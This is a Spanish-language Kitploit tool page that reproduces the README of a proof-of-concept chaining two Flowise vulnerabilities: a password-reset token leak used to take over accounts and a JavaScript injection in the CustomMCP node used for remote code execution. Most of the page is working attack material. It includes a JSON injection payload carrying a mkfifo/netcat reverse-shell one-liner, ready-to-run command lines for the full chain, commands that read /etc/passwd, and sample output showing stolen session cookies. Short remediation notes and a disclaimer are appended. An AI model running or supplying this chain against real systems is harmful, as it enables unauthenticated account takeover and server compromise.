Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-58434-AND-59528-POC — PoC combinada para CVE-2025-28434 y CVE-2025-59528 | Kitploit
Herramientas/GitHubGitHub/kartik2005221/cve-2025-58434-and-59528-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAutenticaciónAprendizaje y EducaciónHerramienta de Acceso RemotoDesarrollo de Payloads

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHub
kartik2005221/cve-2025-58434-and-59528-poc

CVE-2025-58434-AND-59528-POC

PoC combinada para CVE-2025-28434 y CVE-2025-59528

Ver Repositorio
19hace 4 mesesAún no revisado

Flowise Dual CVE PoC — CVE-2025-58434 + CVE-2025-59528

CVE-1 CVE-2 CVSS Python License

⚠️ Solo para fines educativos e investigación de seguridad autorizada.
Ejecutar esta herramienta contra sistemas que no poseas o sin permiso por escrito para realizar pruebas es ilegal.


Tabla de contenido

  • Overview
  • Detalles de la vulnerabilidad
    • CVE-2025-58434 — Toma de control de cuenta
    • CVE-2025-59528 — Ejecución remota de código
  • Cadena de ataque completa
  • Versiones afectadas
  • Estructura del repositorio
  • Requisitos
  • Instalación
  • Uso
    • Comportamiento predeterminado
    • Pantalla de ayuda
    • Modo cadena
    • Módulo — ATO
    • Módulo — Login
    • Módulo — RCE
  • Referencia de flags
  • Reverse shell vs comando personalizado
  • Ejemplo de salida
  • Remediación
  • Cronología de divulgación
  • Referencias
  • Aviso legal

Descripción general

Este repositorio combina dos vulnerabilidades críticas en Flowise en una sola herramienta PoC modular.

Las dos vulnerabilidades se encadenan de forma natural: CVE-2025-58434 proporciona una toma de control de cuenta sin autenticar, lo que satisface el requisito de autenticación para CVE-2025-59528 — logrando RCE sin autenticar en una sola ejecución automatizada.


Detalles de la vulnerabilidad

CVE-2025-58434 — Toma de control de cuenta

Causa raíz: El endpoint forgot-password devuelve el token de restablecimiento de contraseña (tempToken) directamente en el cuerpo de la respuesta HTTP en lugar de enviarlo solo por correo electrónico.

Pasos del ataque:

  1. POST /api/v1/account/forgot-password con cualquier correo electrónico registrado
  2. Leer tempToken de la respuesta JSON — sin necesidad de acceso al correo
  3. POST /api/v1/account/reset-password con el token filtrado → establecer una nueva contraseña
  4. Iniciar sesión como la víctima

Respuesta filtrada (recortada):

root@kitploit:~
{
  "user": {
    "email": "[email protected]",
    "tempToken": "LEAKED_TOKEN_HERE",
    "tokenExpiry": "2025-08-19T13:00:33.834Z",
    "status": "active"
  }
}

CVE-2025-59528 — Ejecución remota de código

Causa raíz: El nodo CustomMCP pasa el mcpServerConfig proporcionado por el usuario directamente al constructor Function() de JavaScript sin sanitización. Dado que Flowise se ejecuta en Node.js, el código inyectado tiene acceso completo a child_process, fs y todos los módulos integrados de Node.js.

Ruta de código vulnerable:

root@kitploit:~
POST /api/v1/node-load-method/customMCP
  -> convertToValidJSONString()
    -> Function('return ' + mcpServerConfig)()   ← entrada de usuario sin sanitizar

Encabezados requeridos:

root@kitploit:~
Content-Type:   application/json
x-request-from: internal
Cookie:         token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>

Payload de inyección predeterminado (reverse shell):

root@kitploit:~
{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
  }
}

Nota: Los payloads de reverse shell usan cp.exec() (asíncrono / dispara y olvida) para que la solicitud HTTP regrese inmediatamente y la herramienta no agote el tiempo de espera. Los comandos regulares usan cp.execSync() y devuelven la salida en línea.


Cadena de ataque completa

root@kitploit:~
Atacante                              API de Flowise
   │                                      │
   │  [CVE-2025-58434]                    │
   │  POST /forgot-password {email}       │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  201 { tempToken: "abc..." }         │  ← token filtrado en la respuesta
   │                                      │
   │  POST /reset-password                │
   │  {email, tempToken, newPassword}     │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  201 OK (tempToken borrado)          │  ← ATO completado
   │                                      │
   │  [CVE-2025-59528]                    │
   │  POST /auth/login {email, newPass}   │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  200 OK + Set-Cookie: token=...      │  ← cookies extraídas
   │                                      │
   │  POST /node-load-method/customMCP    │
   │  {mcpServerConfig: <js-revshell>}    │
   │─────────────────────────────────────►│
   │                              [exec() se ejecuta en segundo plano]
   │◄─────────────────────────────────────│
   │  200 {"shell_fired"}                 │
   │                                      │
   Listener nc del atacante ←───────────── El servidor se conecta de vuelta
   ✓  RCE completo desde cero credenciales

Versiones afectadas

ComponenteEstado
Flowise Cloud (cloud.flowiseai.com)Afectado por CVE-2025-58434
Flowise autogestionado (todas las versiones anteriores al parche)Afectado por ambos CVEs

Consulta los avisos de seguridad oficiales de Flowise para los números de versión con parche.


Estructura del repositorio

root@kitploit:~
flowise-dual-cve-poc/
├── flowise_poc.py      # PoC principal — todos los módulos + modo cadena
├── requirements.txt    # Dependencias de Python
├── README.md           # Este archivo
└── DISCLAIMER.md       # Aviso legal completo

Requisitos

  • Python 3.7+
  • Biblioteca requests

Instalación

root@kitploit:~
git clone https://github.com/yourhandle/flowise-dual-cve-poc
cd flowise-dual-cve-poc
pip install -r requirements.txt

Uso

Comportamiento predeterminado

No se requiere ninguna flag de modo. Si ejecutas el script sin --chain o --module, se ejecuta automáticamente en modo cadena completo. El payload de RCE predeterminado es un reverse shell — solo proporciona --lhost y --lport.

root@kitploit:~
# Invocación mínima — cadena completa + reverse shell
python3 flowise_poc.py \
  -u http://flowise.example.com \
  -e [email protected] \
  --lhost 10.10.16.35 \
  --lport 4444

Inicia tu listener antes de ejecutar:

root@kitploit:~
nc -lvnp 4444

Pantalla de ayuda

root@kitploit:~
python3 flowise_poc.py -h

Modo cadena

Ejecuta los cuatro pasos de extremo a extremo: filtrar token → restablecer contraseña → iniciar sesión → RCE.

root@kitploit:~
# Reverse shell (payload predeterminado)
python3 flowise_poc.py --chain \
  -u http://flowise.example.com \
  -e [email protected] \
  --lhost 10.10.16.35 --lport 4444

# Comando personalizado en lugar de reverse shell
python3 flowise_poc.py --chain \
  -u http://flowise.example.com \
  -e [email protected] \
  -c "cat /etc/passwd"

# Contraseña ATO personalizada + reverse shell
python3 flowise_poc.py --chain \
  -u http://flowise.example.com \
  -e [email protected] \
  -p "MyCustomPass1!" \
  --lhost 10.10.16.35 --lport 9001

Módulo — ATO

Filtrar el tempToken y restablecer la contraseña de la cuenta. Se detiene antes del inicio de sesión/RCE.

root@kitploit:~
# Nueva contraseña predeterminada
python3 flowise_poc.py --module ato \
  -u http://flowise.example.com \
  -e [email protected]

# Nueva contraseña personalizada
python3 flowise_poc.py --module ato \
  -u http://flowise.example.com \
  -e [email protected] \
  -p "NewPassword2025!"

# Imprimir respuesta JSON sin procesar
python3 flowise_poc.py --module ato \
  -u http://flowise.example.com \
  -e [email protected] --json-output

Módulo — Login

Autenticar y extraer las tres cookies de sesión para uso manual.

root@kitploit:~
python3 flowise_poc.py --module login \
  -u http://flowise.example.com \
  -e [email protected] \
  -P "password123"

# Salida JSON para scripting
python3 flowise_poc.py --module login \
  -u http://flowise.example.com \
  -e [email protected] \
  -P "password123" --json-output

Módulo — RCE

Ejecutar en el servidor. Inicia sesión automáticamente si no se proporciona --token.

root@kitploit:~
# Reverse shell — inicio de sesión automático
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  -e [email protected] -P "password123" \
  --lhost 10.10.16.35 --lport 4444

# Comando personalizado — inicio de sesión automático
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  -e [email protected] -P "password123" \
  -c "id"

# Token manual — reverse shell
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  --token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
  --lhost 10.10.16.35 --lport 4444

# Las tres cookies manualmente
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  --token "eyJhbGci..." \
  --refresh-token "eyJhbGci..." \
  --connect-sid "s%3A4rey2nuk..." \
  -c "ls /root"

Referencia de flags

Modo (todos opcionales — el predeterminado es --chain)

FlagDescripción
--chainCadena completa: ATO → Login → RCE
--module atoSolo toma de control de cuenta

Objetivo

FlagCortaDescripciónObligatorio
--url-u

Opciones de ATO

FlagCortaDescripciónPredeterminado
--new-password-pContraseña establecida en la cuenta víctima después del ATOFlowise@Pwn3d2025!

Opciones de autenticación

Opciones de RCE

Varios

FlagCortaDescripciónPredeterminado

Reverse shell vs comando personalizado

El script elige automáticamente el modo de ejecución correcto:

La ejecución asíncrona significa que la solicitud HTTP se completa al instante — sin errores de tiempo de espera en los payloads de reverse shell.


Ejemplo de salida

root@kitploit:~
  [Paso 1] [CVE-2025-58434] Solicitando token de forgot-password ...
  [*] HTTP 201
  ────────────────────────────────────────────────────────────────────
    DATOS DE CUENTA FILTRADOS
  ────────────────────────────────────────────────────────────────────
  tempToken     : 28HYxS1UFqalMGMKVQeEdapifG0Mo...
  tokenExpiry   : 2026-04-13T05:14:17.621Z
  ────────────────────────────────────────────────────────────────────
  [+] VULNERABLE — token divulgado sin autenticación!

  [Paso 2] [CVE-2025-58434] Restableciendo contraseña → Flowise@Pwn3d2025!
  [*] HTTP 201
  [+] Restablecimiento de contraseña EXITOSO (tempToken borrado)
  [+] Toma de control de cuenta completada → [email protected] / Flowise@Pwn3d2025!

  [Paso 3] [Auth] Iniciando sesión para extraer cookies de sesión ...
  [*] HTTP 200
  ────────────────────────────────────────────────────────────────────
    COOKIES DE SESIÓN EXTRAÍDAS
  ────────────────────────────────────────────────────────────────────
  token           : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
  refreshToken    : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
  connect_sid     : s%3AGIjQFOoMQOpwioeZdmlruKL6VSQ1cePu...
  ────────────────────────────────────────────────────────────────────

  [Paso 4] [CVE-2025-59528] Ejecutando RCE a través de CustomMCP ...
  [*] HTTP 200
  ────────────────────────────────────────────────────────────────────
    RESULTADO DE RCE
  ────────────────────────────────────────────────────────────────────
  Modo    : Reverse Shell
  LHOST   : 10.10.16.35
  LPORT   : 4444
  [+] Payload de reverse shell disparado!
  [!] Esperando conexión en 10.10.16.35:4444 ...
  [!] Asegúrate de que tu listener esté corriendo: nc -lvnp 4444
  ────────────────────────────────────────────────────────────────────
  [+] CADENA COMPLETADA

Remediación

Para CVE-2025-58434

  • Nunca devolver tokens en las respuestas de la API. Enviar el tempToken solo por correo electrónico registrado.
  • Devolver un mensaje de éxito genérico independientemente de si el correo existe (evita enumeración).
  • Hacer que los tokens sean de un solo uso, de corta duración (≤15 min) y vinculados al contexto de la solicitud.
  • Limitar la tasa del endpoint forgot-password.

Para CVE-2025-59528

  • Nunca pasar la entrada del usuario a Function(), eval() o vm.runInThisContext().
  • Analizar mcpServerConfig como solo datos (por ejemplo, JSON.parse()) — nunca ejecutarlo.
  • Si se requiere evaluación dinámica, usar un sandbox aislado con un contexto restringido.
  • Aplicar validación estricta de entrada y una lista blanca de claves de configuración permitidas.

General

  • Aplicar parches en implementaciones cloud y autogestionadas.
  • Habilitar registro y alertas en los endpoints de restablecimiento de contraseña y node-load-method.
  • Considerar MFA para todas las cuentas de administrador.

Cronología de divulgación

FechaEvento
2025-08-19CVE-2025-58434 descubierto y reportado
TBDCVE-2025-59528 descubierto y reportado
TBD

Referencias

  • GHSA-wgpv-6j63-x5ph — CVE-2025-58434
  • GHSA-3gcm-f6qx-ff7p — CVE-2025-59528
  • Flowise GitHub
  • CWE-640: Mecanismo débil de recuperación de contraseña
  • CWE-94: Control inadecuado de la generación de código

Aviso legal

Solo para fines educativos y pruebas de penetración autorizadas.
Consulta DISCLAIMER.md para el aviso legal completo.

Descargar herramienta
CVE-2025-58434CVE-2025-59528
TipoToma de control de cuentaEjecución remota de código
Auth requeridaNingunaSí (cualquier cuenta válida)
CVSS9.8 CríticoCrítico
AfectadoCloud + AutogestionadoAutogestionado
--module loginSolo inicio de sesión y extracción de cookies
--module rceSolo RCE
URL base de la instancia de Flowise
Siempre
--email-eCorreo electrónico del objetivo / inicio de sesiónSiempre
FlagCortaDescripción
--login-password-PContraseña para el módulo de inicio de sesión / inicio de sesión automático de RCE
--token—Proporcionar manualmente la cookie token (omite inicio de sesión)
--refresh-token—Proporcionar manualmente la cookie refreshToken
--connect-sid—Proporcionar manualmente la cookie connect.sid
FlagCortaDescripciónPredeterminado
--lhost—IP del atacante para el reverse shell—
--lport—Puerto del atacante para el reverse shell—
--command-cComando de sistema operativo personalizado (sustituye a revshell)id si no hay lhost/lport
--timeout-tTiempo de espera HTTP (segundos)15
--json-output-jImprimir respuestas JSON sin procesarfalse
EscenarioPayload utilizadoComportamiento HTTP
--lhost + --lport (sin -c)one-liner mkfifo netcatcp.exec() — asíncrono, regresa inmediatamente
-c "..." que contenga nc/mkfifo/bash -idetectado como revshellcp.exec() — asíncrono, regresa inmediatamente
-c "id" o cualquier otro comando normalcomando de usuariocp.execSync() — bloquea, devuelve salida
sin -c, sin --lhostidcp.execSync() — bloquea, devuelve salida
Reconocimiento del proveedor
TBDParche publicado
TBDDivulgación pública